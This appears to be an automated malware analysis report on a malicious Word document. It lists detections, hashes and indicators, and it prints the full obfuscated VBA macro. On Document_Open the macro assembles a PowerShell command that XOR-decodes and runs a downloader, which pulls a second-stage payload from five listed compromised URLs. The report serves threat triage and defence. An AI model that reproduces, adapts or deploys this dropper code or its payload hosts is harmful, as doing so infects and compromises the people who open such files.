Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 72c654e81e379587…

MALICIOUS

Office (OLE)

100.5 KB Created: 2018-06-15 06:42:00 Authoring application: Microsoft Office Word First seen: 2018-06-21
MD5: 8ab93d26def0acf5700c78c4e5116c72 SHA-1: ed8ad4c4ffbac07d40d2d9c9b8a4c280e8fbb9e0 SHA-256: 72c654e81e3795877f0159ae56553d29599e34e82c7cb5dfc3fb376cb3a21cc7
232 Risk Score

Heuristics 8

  • ClamAV: Doc.Malware.Valyria-6992228-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Valyria-6992228-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    IfDuiH = RzXJt
WZuCNhuthG = mBouKHUsso + VBA.Shell(iwQMvkWh + Chr(VEjWrLu + vbKeyP + zvChqOko) + "owers" + SlbwbAtsJAH + QTwDkuG + vAmPdLwawi + pNqrTwQamT + PJYich + fAnBirzwsq, 49604 - 49604)
GofAQ = 46082 + jWSwV + (82122 * CDbl(MlFMN) - AUbld / CSng(71588) - GmwOc / Hex(baWEm) + 27058 - 79903)
  • Payload URL decoded from an encoded PowerShell loader (5 URLs) high OLE_VBA_ENCODED_PS_DROPPER_URL
    A VBA macro assembles (from literals scattered across helper functions) a WScript.Shell command that runs a PowerShell stage-2 loader whose download URL is hidden in a numeric char-code array — decoded at runtime by [char]($_ -bxor k) (or +k / -k) after splitting on obfuscated delimiters. The decoded hosts (often an @-separated fallback list dropped to %TEMP% and executed) are the next-stage payload URLs, never contiguous on disk; surfaced as IOCs. Self-validating: only a transform yielding a valid host URL is reported.
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    End Function
Private Sub Document_open()
On Error Resume Next
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.fitfundclub.com/KNsZOq/ Referenced by macro
    • http://www.freakworld.es/KlkuI/Referenced by macro
    • http://www.giaydantuong-cantho.com/hwkVqoS/Referenced by macro
    • http://www.greenspider.com.my/wp-content/gallery/QrmwO/Referenced by macro
    • http://www.faktoryapi.com.tr/IAJv/Referenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 16463 bytes
SHA-256: dd06edeab4a909b5bd98eb6823995d247c65d51ce07f20cd63e3b207c5b15e5f
Detection
ClamAV: No threats found
Obfuscation or payload: likely
257 of 403 identifiers look randomly generated (e.g. 'SlbwbAtsJAH') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "KminClzMiQ"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function WZuCNhuthG()
On Error Resume Next
psiNt = 63777 + NGsQr + (67143 * CDbl(WoRaKs) - PFKLD / CSng(21159) - YjoSX / Hex(YIwnj) + 85827 - 58550)
hrSVAa = XCpWho - EzTSX / 26126 / duROiC - 223327908 + Hex(ASzRc) * zwACQw - Round(40570)
NuKtGt = Sqr(85326)
zTnblp = ORwSdO
DzAHVX = 55351 + jrEFt + (50616 * CDbl(zRBZs) - sCvRh / CSng(28786) - msJvw / Hex(wwzuv) + 52236 - 85219)
QHmzmR = uFpnI - kriJG / 66971 / JzXGzA - 223327908 + Hex(rDdai) * nWkWw - Round(22775)
BzRrD = Sqr(25662)
lrWwz = pNZoWi
YSkjzm = 99557 + rbOJG + (39804 * CDbl(GMLvp) - FCRzfP / CSng(864) - mVqJSO / Hex(ApzZt) + 36669 - 23142)
wpfqS = ShTWz - EFYAoF / 19399 / XMVvZ - 223327908 + Hex(jbBTzz) * iZAicw - Round(75888)
qzLPD = Sqr(5801)
lDuFHS = RJQHkU
jkUjQY = 63133 + fAWCFW + (62192 * CDbl(VMJWY) - hSBqm / CSng(42064) - EvqDi / Hex(pjvLX) + 12761 - 80241)
LAWXSC = halKi - FjwWUr / 83813 / BmPjmC - 223327908 + Hex(JNCoQc) * phKjmi - Round(25986)
ijsdkh = Sqr(87501)
IfDuiH = RzXJt
WZuCNhuthG = mBouKHUsso + VBA.Shell(iwQMvkWh + Chr(VEjWrLu + vbKeyP + zvChqOko) + "owers" + SlbwbAtsJAH + QTwDkuG + vAmPdLwawi + pNqrTwQamT + PJYich + fAnBirzwsq, 49604 - 49604)
GofAQ = 46082 + jWSwV + (82122 * CDbl(MlFMN) - AUbld / CSng(71588) - GmwOc / Hex(baWEm) + 27058 - 79903)
uikonu = mMtWf - FzXEW / 91394 / qpjTw - 223327908 + Hex(rzumj) * bnMHN - Round(48288)
BZpCE = Sqr(18179)
lvHAZA = GPpBAK
umEzR = 80984 + COraK + (93557 * CDbl(UtqJi) - QACjWD / CSng(31070) - YvtACR / Hex(BHJwiY) + 54261 - 1253)
GwsukY = OZZiSw - HfWTl / 61849 / vIozF - 223327908 + Hex(Wkldzh) * uEZmR - Round(67851)
iATfMZ = Sqr(26611)
fOoJKP = hSDBlj
End Function
Private Sub Document_open()
On Error Resume Next
iKqEvi = 50947 + dowfl + (93493 * CDbl(DGjCCz) - mJqRGo / CSng(56257) - ckLzXk / Hex(VrmId) + 8793 - 38656)
qlkzX = NdYlbj - LTlZu / 80313 / sQtUaS - 223327908 + Hex(XVDKn) * DtaPX - Round(24753)
SwCip = Sqr(63880)
iJzzhw = snItn
vjZrPY = 8821 + pIUboR + (17275 * CDbl(tWBhJ) - iDWSCL / CSng(28395) - KbboT / Hex(TizzI) + 9631 - 33284)
obBqR = WUzVt - QztAA / 94618 / wKWBZE - 223327908 + Hex(ZKbFw) * pUWzZ - Round(95875)
svNGw = Sqr(48529)
HNNWBX = rwKcj
WZuCNhuthG
JMbtS = 48668 + lFcMtr + (48801 * CDbl(XwbtaC) - PBwTXK / CSng(23050) - RLfsm / Hex(OaDazM) + 93880 - 87979)
VKOza = wBRZsK - OznjI / 42780 / TdqwV - 223327908 + Hex(cJSbq) * lGKhX - Round(4549)
UKEiVD = Sqr(61838)
WzOCi = sAHwv
ImsUPb = 18710 + ojpjk + (49369 * CDbl(DRPiUs) - uzDum / CSng(62406) - zAZda / Hex(USMHai) + 16966 - 32553)
Xsoqr = QVodwr - PFJwZl / 9519 / DpkAE - 223327908 + Hex(AadqU) * zClmm - Round(55011)
qCTJpC = Sqr(88382)
dFYfmD = jGLRBM
End Sub


Attribute VB_Name = "vmlBKZHazJ"
Function SlbwbAtsJAH()
On Error Resume Next
pHpiV = Cwwwq
MibPd = Sqr(39379)
iXHHQC = viwtd - dWsJSd / 9160 / GcFHih - 223327908 + Hex(nVVQho) * jAdQtU - Round(68411)
qQkKNi = 69857 + fTHdAu + (97639 * CDbl(iRSTT) - AhGSwl / CSng(88041) - UdHHk / Hex(wZfMqO) + 53188 - 41923)
ZNwEjOQ = "HeLL &( ([ST" + "ring]$" + "VErbosEPreFEre" + "nce)[1,3]+'" + "X'-jo" + "IN'') ( " + "((120," + " 61 ,31 ,53,4 " + ", 38 , 26 "
rUwWWq = RzzPuY
rDsmv = Sqr(30475)
rwJRrd = HFJEM - QDwuBX / 24045 / aKWsFv - 223327908 + Hex(zJQcA) * BifjmB - Round(25254)
CAlVLH = 25002 + dvKims + (60662 * CDbl(kkCbl) - IHLDCD / CSng(46805) - Stapz / Hex(iXJbRO) + 83437 - 6678)
vaTiGlE = ",124, 97 , 12" + "4,50 , 57,4" + "3 , 113,51,62" + " , 54, 57 ,63 ," + " 40," + " 124" + ",46 , 61 ,5" + "0,56 ,51,49 , 1" + "03,120 ,42,58,1" + "7 ,4"
WHJia = nGwkYD
hSkjO = Sqr(80590)
UCDfMi = KHhKO - MXOHij / 45640 / PBdii - 223327908 + Hex(fvuTSC) * LBtCYK - Round(38192)
RlmYm = 64758 + HwsbMq + (28557 * CDbl(ROPVz) - ECNOi / CSng(512) - sLjEzi / Hex(ttHzTW) + 89228 - 50557)
MTjQUji = "9, " + "30 ,9 ,124" + ",97, 124 " + ", 50 , 57, " + "43 , 113," + " 51,62 " + ", 54,57 ,63 ," + " 40,124"
smLfpC = DcChS
iYTTjC = Sqr(78514)
WwLOQh = JCtJZW - wIbItU / 5556 / PHids - 223327908 + Hex(zfHjfJ) * UYWjZP - Round(16452)
EAaBiu = 88985 + NNsLI + (700 * CDbl(VFFWD) - XPRwo / CSng(72026) - sRRkk / Hex(HASAp) + 29102 - 49206)
uItSUNs = " , 15,37 , " + "47 , 40,57 , " + "49 , 1" + "14 , 18," + "57,40 , " + "114 ,11, 57,62," + "31 ," + "48" + ",53 ,57 , 50" + " ,40"
wFALib = sXITf
Gzhzbn = Sqr(97589)
OlLMDF = ifakB - hhYpQS / 56280 / kwfJVX - 223327908 + Hex(cPJwl) * ztRaQj - Round(49641)
jEkno = 89778 + XlatM + (2559 * CDbl(jEZTFu) - TBiRJ / CSng(28760) - mjaLic / Hex(TmvkUw) + 51387 - 19670)
BsXffZZKD = ",103,12" + "0 , 47 , 5" + "0 ,63,61, 38," + "25 ,124, 97 ,1" + "24" + ", 123, " + "52 , 40,4" + "0 ,44 ,"
oVpIf = RIKLV
EDrRo = Sqr(56822)
vLjSc = KpBriE - KSIAiQ / 64892 / rRmhZ - 223327908 + Hex(YmJZK) * SKmtz - Round(5234)
FdmfD = 64393 + ECQQmQ + (27668 * CDbl(oHOzlD) - wcqBqz / CSng(99946) - FwdPf / Hex(GmXiw) + 41278 - 7221)
qzEGd = " 102, 115,115" + " ,43" + ", 43, 43" + ", 114 ," + " 58," + "53, "
wwVrQR = Oluqi
dZsjFN = Sqr(10095)
nCvKIh = aTzAz - ZblHi / 89500 / TpjAai - 223327908 + Hex(Aihwvh) * forQd - Round(46463)
vjDuw = 69310 + KlCsS + (46066 * CDbl(QAjPDj) - lYWZWQ / CSng(7716) - msSqm / Hex(lGrwNz) + 55357 - 20681)
jVioX = "40 ,58, 41 " + ",50 ,56,6" + "3, 48 , 41,62 " + ",114 " + ", 63" + ",51,49 , 11" + "5 , 23" + " , 18 "
WuAbL = DzGbaS
WslJKM = Sqr(70186)
wwOCo = UjzSX - ccBwMT / 95961 / CnSWl - 223327908 + Hex(BWIfrM) * zjUmi - Round(58908)
LzVuk = 58219 + UvlAFS + (95233 * CDbl(murBWT) - vjYPup / CSng(4543) - FYcRB / Hex(TwfwjB) + 51557 - 17609)
OttTA = ",47, 6," + " 1" + "9, 45 , 115" + ",2" + "8,52 ," + "40 ,40" + " , 4" + "4 , 102, 115,1" + "15 , 43, 43 ,"
SlbwbAtsJAH = ZNwEjOQ + vaTiGlE + MTjQUji + uItSUNs + BsXffZZKD + qzEGd + jVioX + OttTA
End Function
Function QTwDkuG()
On Error Resume Next
KPjiDd = urpzr
oOHsT = Sqr(90376)
LjOCqY = FuaIzM - ImbNN / 97407 / qPURR - 223327908 + Hex(zpbaoO) * TmTwH - Round(46030)
ZVJis = 32744 + UwbUb + (21348 * CDbl(cwjJi) - XAnDjS / CSng(15675) - HiSiA / Hex(wdWquN) + 44972 - 11628)
uSwNNj = "43," + " 114, 5" + "8 , 46, " + "57 , 61,55" + ", 43,5" + "1 , 46" + " ,48" + " ,56, 114" + ", 57"
RvTEat = fcjfGw
UjrpsJ = Sqr(17364)
ZQtPa = dsAoO - XFmPR / 2937 / tPXBq - 223327908 + Hex(RbjAi) * KErVR - Round(48583)
VQukZ = 69686 + QSzUiD + (263 * CDbl(TcFpD) - uvQrY / CSng(91813) - NvuiS / Hex(wVZNin) + 25078 - 2021)
DjJiItsYv = " ,4" + "7,11" + "5,23, 48," + " 55,41 ,21" + ",115,28 , 52 ,4"
YAvVh = wwFOzb
GwcOO = Sqr(87848)
ZfckdN = QuLML - vhOTIY / 8114 / cQSUj - 223327908 + Hex(tARbo) * KnhGnh - Round(98287)
qJPoB = 28501 + HItzs + (35346 * CDbl(EwfjVq) - dAwuqC / CSng(83980) - MMiYK / Hex(ApDTC) + 42331 - 28488)
AZhkJawpz = "0,40 ," + " 44 , 102 ," + "115 " + ", 115,43, 43 " + ",43,114, 59 , "
YJHqKQ = YjIGp
jYSwd = Sqr(20871)
bcjPc = iFhFh - vwUOY / 9754 / ShLIp - 223327908 + Hex(mdmkJ) * mjvqf - Round(78556)
pzOJQw = 98864 + QcjXN + (76053 * CDbl(AIjaZ) - lSIcK / CSng(29963) - URIUzI / Hex(pTwXk) + 99422 - 52225)
cdUlnAJjTW = "53" + " ,61 , 37 ,56," + "61, 50 , 40 ,4" + "1, " + "51 , 50,59,11"
jRKNPR = ujJMJ
tqYIZ = Sqr(63528)
YjFTK = YTdDLk - TtJWT / 56983 / icbwiJ - 223327908 + Hex(aFSdFY) * ArJCR - Round(15328)
rKrrPU = 81190 + qasUYs + (89854 * CDbl(zIoZp) - AITwr / CSng(73595) - FTZbOV / Hex(rEaLws) + 81114 - 82767)
NvqChc = "3,6" + "3,61" + ",50,40,52, 5" + "1,114" + " ,"
HiuhGk = zhCpvm
Ucuzj = Sqr(95551)
hnaWrB = uHbCXp - mvYlNS / 97702 / lHhjW - 223327908 + Hex(lhcKd) * iAjQKD - Round(13553)
vIIkA = 88186 + NKaFLn + (35376 * CDbl(zUCVP) - tjOcZr / CSng(51398) - QnJmB / Hex(jASQO) + 64355 - 88366)
usOdEJML = " 63" + " ,51," + "49,1" + "15 ,52,43, 55 ," + " 10, 45" + ",51 ,1" + "5, 115, 28 , 52" + " , 40,40,44"
KpLKE = hhWLTi
PEQuV = Sqr(27197)
ITqnFW = hmkDO - AwtJnu / 63903 / mUvHGc - 223327908 + Hex(Yckjz) * ifPOtv - Round(19121)
fBSoKf = 29936 + azsuz + (23792 * CDbl(LIbKLs) - wwXctf / CSng(9333) - QrwGC / Hex(RbAXrz) + 69704 - 80910)
WGiZH = ",102 , 11" + "5,115 " + ",43," + " 43 , 43 , 1" + "14, 59 ,46,5" + "7 " + ", 57 ,50 ," + "47 ,"
QTwDkuG = uSwNNj + DjJiItsYv + AZhkJawpz + cdUlnAJjTW + NvqChc + usOdEJML + WGiZH
End Function
Function vAmPdLwawi()
On Error Resume Next
lHtVH = TKGHb
JbHZD = Sqr(13469)
ChMNc = zUluu - jUvnWM / 2759 / FkJMwz - 223327908 + Hex(wZGci) * ImjJPf - Round(12732)
IWwvjw = 87589 + JJzUR + (1785 * CDbl(Rdutz) - IBNBm / CSng(97255) - oNWdH / Hex(YMjUi) + 90923 - 2868)
wNzjbWJwA = "44 , 53 ,56 " + ", 57, 46 ,114" + ",63" + " , 51 " + ", 49 , " + "114" + " , 49 ,37" + " ,115 " + ",43 , 44 ,113"
svanv = hNokM
PIbmqz = Sqr(97077)
dfHbj = oaLwwP - JCjvP / 24560 / SGfbf - 223327908 + Hex(ZbzQp) * masjYk - Round(55443)
iwRXz = 28706 + nAufRM + (16120 * CDbl(hPdHju) - NpjYD / CSng(61329) - klVPfM / Hex(UIKAB) + 37010 - 46197)
ShnGRRvvjj = " ,63,51 ,50, 4" + "0 , 5" + "7 , 50" + ", 40 ,115,5" + "9, 61, 4" + "8, " + "48, 57,46,"
UkpCVI = GFvrbm
tMiFpm = Sqr(75961)
oSEJFW = Zrirb - uFiAv / 68058 / Wdifc - 223327908 + Hex(ktsWi) * OsZkqZ - Round(31077)
sWAfwT = 4696 + dvJId + (67039 * CDbl(SHKmU) - iRdGXb / CSng(38029) - CYOCu / Hex(VjsoJp) + 14011 - 13059)
hQCHiEY = " 37 ,115 ,13,4" + "6, 49 ,4" + "3," + " 19 , 115 , 28" + " ," + "52 ,40 , 4" + "0,44," + " 102 ,115 " + ", 115 "
TORHP = XwHvEt
DHSscm = Sqr(7153)
OjcCAR = khAtk - TdWvH / 46966 / jwzIZO - 223327908 + Hex(IdHJA) * pVwOfN - Round(60529)
YKLoZ = 63935 + mfjUEI + (24317 * CDbl(VUsbfW) - HLXPwA / CSng(72994) - wSkfqi / Hex(wRriZ) + 75757 - 65301)
IHvwk = ", 43, 43, 43, 1" + "14 , 58 ,6" + "1,55 ,40" + " ,51,46, 37 " + ",61, " + "44, "
HBYuz = jdwzUN
BGhmzo = Sqr(63827)
UIQWKE = SNXaO - GbRuP / 25113 / TKOcT - 223327908 + Hex(MVmzfs) * ORHfjF - Round(81302)
tSjTdm = 94744 + HZrsr + (25524 * CDbl(iIQusT) - vYObTj / CSng(58106) - KomQvD / Hex(vCaiF) + 99388 - 53255)
PHotQ = "53 , 114 , 63," + " 51 , 49" + " , 114,40 ," + "46,115" + ",21 , 2" + "9 , 22 , 42" + ",115, 123,114 "
vAmPdLwawi = wNzjbWJwA + ShnGRRvvjj + hQCHiEY + IHvwk + PHotQ
End Function
Function pNqrTwQamT()
On Error Resume Next
IUiZM = vfPrjb
qrbpG = Sqr(22944)
iZEIvU = kvEap - JwRbj / 64425 / vjXYp - 223327908 + Hex(kpMfYL) * tbWMBM - Round(75126)
GKunC = 35861 + fjPsil + (78445 * CDbl(TmNKWL) - pfDHN / CSng(34174) - WFvQJH / Hex(Nrimw) + 42426 - 54516)
VSjXDcizWT = ",15 ,44, 48" + " ,53 ,40 ,116 ," + "123,28,123 " + ",117,103, 120"
HihYjS = tZzIYF
JWDNT = Sqr(39566)
oiztu = jJwui - jPclEB / 10905 / rTqkE - 223327908 + Hex(ppmMbc) * HcIbR - Round(73144)
vBjSMj = 49600 + PjOKP + (65370 * CDbl(FaUuIo) - qzIPp / CSng(91720) - jQmYLj / Hex(fiADY) + 68736 - 36174)
jXFbozORR = " ,3" + "0,26, 53" + " , " + "46,43, 124" + " ,"
zZEJu = jlhkwM
nICVq = Sqr(85543)
GzNaLw = UPFFW - OSiVUD / 74084 / CjzvKq - 223327908 + Hex(RQtrz) * sGubC - Round(35732)
vhUnN = 79606 + WqXjS + (3011 * CDbl(cnTKm) - waSOh / CSng(81131) - wDICO / Hex(PXZHU) + 27994 - 54267)
QohUbEiUKiz = "97" + ", 12" + "4, 120 , 6" + "1 ,31,53,4, 38" + " , 26"
CKBPrr = VahAm
oBSfp = Sqr(17245)
oiBQtK = iaibVL - TIhaj / 44726 / vQZAs - 223327908 + Hex(qilmpi) * uKDar - Round(57665)
mDROi = 1904 + JCzMN + (48321 * CDbl(VMotS) - ossikE / CSng(35959) - nrisFr / Hex(oofzBL) + 77909 - 99145)
oIqqXjzRkD = ", 114,50 ,57 ,3" + "6,40, 116 ,1" + "09 ," + " 112" + ",124 ,111" + " ,110 ,1" + "06 ,108, 109,10"
BXTkS = vUtlFI
YwbiZL = Sqr(78468)
WFRWUV = iwrbGo - EwdSR / 55204 / rCNBpY - 223327908 + Hex(GVMJAV) * bbGhW - Round(76974)
dsScQB = 56963 + vovmrF + (40863 * CDbl(EGiCU) - YwohE / CSng(73323) - pAhhs / Hex(CrbKqA) + 12645 - 10610)
GsWED = "1 , 117" + ",103 , 12" + "0 ," + " 9 , 14, 1" + "9 , 50 , 1" + "9, 124 ,97 ," + " 124 ," + " 120,57, 50 ,"
uIfztK = cFGtMi
uaHQE = Sqr(67414)
wXNhJ = ShiAz - ZAQfW / 8108 / lhVzVi - 223327908 + Hex(TIWGj) * jjSRa - Round(96456)
CDUiwz = 54361 + fRFTCd + (45275 * CDbl(lvoVz) - iCwOzi / CSng(29853) - QonfY / Hex(lDZqz) + 37087 - 56973)
nwiuOjAWCa = " 42,102 , 40 , " + "57 " + ", 49 ,44 , 1" + "24,119, 124 ,1"
DTVrq = HDNdu
WCJJQX = Sqr(55202)
NfioLX = fcwSW - jufkFw / 8203 / vsHWiR - 223327908 + Hex(ICNjrt) * aAmKwK - Round(5251)
MFzocZ = 83317 + tAKLb + (37412 * CDbl(fqizF) - ovRMd / CSng(13337) - WMGib / Hex(UUivp) + 83932 - 67149)
LFbarBwzEin = "23 ,0, 123, 124" + ", 119,124 ,12" + "0 ," + " 30 " + ",26 " + ",53 ,46," + " 43, 124,119" + ", 124 , "
rYMNq = dZKYY
hZInwc = Sqr(29498)
impmo = Qiisw - YLaAhC / 55909 / LwOiv - 223327908 + Hex(crTzjA) * ooarAp - Round(23615)
RnWShF = 30669 + Zljin + (64284 * CDbl(fzvCt) - cBiKRb / CSng(72138) - cCLTNh / Hex(dUcquf) + 87603 - 11262)
boZtWrDB = "123 ,114, 57" + ", 36, 57, 123 ," + "103 , 58, " + "51,46" + ",57" + " ,61, 6" + "3 , 52 ,116, 1" + "20, 44 ,27 ,5, "
MQmwX = WzIGw
jZBci = Sqr(213)
AajioM = vVTUZj - pcuDF / 27554 / XWSjUw - 223327908 + Hex(CkvsFt) * QATCR - Round(19113)
wKjYHr = 90746 + YKjMvu + (67409 * CDbl(zIjMQ) - wiclX / CSng(52284) - sKqjB / Hex(dICkJu) + 63221 - 74515)
IzwuhcAhHvm = "6,16,124, 53" + " ,50,124" + ",120" + " , 47, 50,63 " + ",61 "
PqaHG = twGYd
woTMU = Sqr(38036)
XphLTY = VFWvm - AMzvH / 24797 / FSnudd - 223327908 + Hex(uouhj) * zzZmfO - Round(77636)
CcDQwT = 31790 + tkXbTm + (79734 * CDbl(caBnE) - IfscOu / CSng(8730) - dWOUr / Hex(MjUiAK) + 25639 - 58964)
AamiSr = ", 38 , 25,117 " + ", 39 ," + " 40 , 46" + ",37 ,39, 1" + "20 , " + "42 , 58 ," + "17,49 ,30, 9" + " , 114, 24 ," + " 51, 43,50 ," + "48"
pNqrTwQamT = VSjXDcizWT + jXFbozORR + QohUbEiUKiz + oIqqXjzRkD + GsWED + nwiuOjAWCa + LFbarBwzEin + boZtWrDB + IzwuhcAhHvm + AamiSr
End Function
Function PJYich()
On Error Resume Next
wciOa = SloXF
RRpDZO = Sqr(31563)
cHMjtT = uHfkQ - ioMjo / 72116 / RMTUv - 223327908 + Hex(pXTbdr) * KXPPtS - Round(8292)
aaECn = 66468 + LdhLoL + (995 * CDbl(BnMQs) - hGpIf / CSng(5493) - uIzWc / Hex(LXuWzw) + 46624 - 56326)
tQiiBz = ", 51, 61 , 56," + " 26 , 53" + ",48 ,57 ,11" + "6,120, 44,27 ," + "5 , 6, " + "16 , 114,8 , "
crRoNN = dcUldJ
bBYEfi = Sqr(27903)
jrukLF = XwjZK - QiDwZk / 97753 / onJol - 223327908 + Hex(jiqLc) * SolNrL - Round(98623)
Pnrnud = 83200 + jCslLK + (47604 * CDbl(pWhcpV) - jilGu / CSng(82488) - rOVdH / Hex(XFXanB) + 22270 - 27591)
mCrbo = "51,15, 40" + " ," + "46,53 ,50, " + "59,116, 117 ,"
DrRmD = LTVIF
tpWDkX = Sqr(60423)
rIflv = NLFEIc - ROTjf / 29229 / Jcltp - 223327908 + Hex(dhOQK) * hiPahq - Round(2179)
PpsDkw = 50648 + YpGYwh + (24218 * CDbl(wpENlj) - zWXkU / CSng(90241) - NhGiN / Hex(whcvlz) + 81738 - 26686)
WQQStTlsp = " 1" + "12, 1" + "24, 120" + " ,9, 14 ,19,50 " + ", 19, 117 ,10" + "3 , 15, " + "40, " + "61 ,46,40 ,11" + "3,12, 4" + "6 "
Pkfvh = McbDUE
BSrSan = Sqr(33507)
asVUSj = shDals - ifIAkq / 96474 / TOmFo - 223327908 + Hex(MiaStV) * rtQiWT - Round(4681)
StOWm = 92697 + EjwptP + (89321 * CDbl(BolsiP) - ZwqLDA / CSng(1579) - LwGkO / Hex(BDvuSv) + 67644 - 75393)
vqOMl = ", 51, 63 " + ",57, 47 ,47,124" + ",120 , 9 , 14 " + ", 19 ,50, 1" + "9 " + ",103 ,62," + " 46, 57 ,61"
sIBwOn = JaCad
GAZSIo = Sqr(7777)
owBzFR = iadrYf - UzIvjl / 48038 / MEajTE - 223327908 + Hex(GrcOKb) * kkRNH - Round(84405)
ZHiMr = 66571 + zdHrXH + (74612 * CDbl(rROWva) - FkHaFA / CSng(47078) - QTsQSm / Hex(WikWlO) + 1856 - 19274)
dwbhLQEIXik = " , 55, 10" + "3, 33,63,61,40" + " , 63,52 , 39 ," + " 43,46, 53 ,40 " + ",57,113,52 " + ", 51 , 47, 40, " + "124, 120, 3 ,1" + "14 , 25, 36" + ",63 ,57 ,44 ," + "40,53 ,"
PJYich = tQiiBz + mCrbo + WQQStTlsp + vqOMl + dwbhLQEIXik
End Function
Function fAnBirzwsq()
On Error Resume Next
lJlvP = aJNESI
tbazfL = Sqr(71732)
inbWLC = mtADXH - MSnTbK / 72010 / vtnbB - 223327908 + Hex(KEsoL) * pJbFVk - Round(60140)
mzXYw = 47736 + UmPJU + (30071 * CDbl(OYiWi) - davplE / CSng(46560) - wiXwC / Hex(hnNsPi) + 76686 - 80940)
GwnfpvP = "51 , 50 " + ", 114 ,17" + " , " + "57,4" + "7 , 47 ," + " 61 ,59,5" + "7,"
VikSr = PILLj
aVFiwL = Sqr(33348)
NsvRof = MzBWa - aJbOon / 96652 / MHVCF - 223327908 + Hex(nPFAmk) * TNpjZ - Round(71900)
zasiij = 2096 + coHOM + (23842 * CDbl(Driwr) - flNIVk / CSng(99220) - BthFkw / Hex(QsXlj) + 19623 - 56660)
piGdPdUH = "103," + "33 ,33 ) | " + "FOReacH-oBJEcT" + "{ [chaR] " + "($_-Bxor" + Chr(34) + "0x5c" + Chr(34) + ") } ) -JOIn'" + "')"
fAnBirzwsq = GwnfpvP + piGdPdUH
End Function

Open this report in the interactive analyzer, or submit your own file for analysis.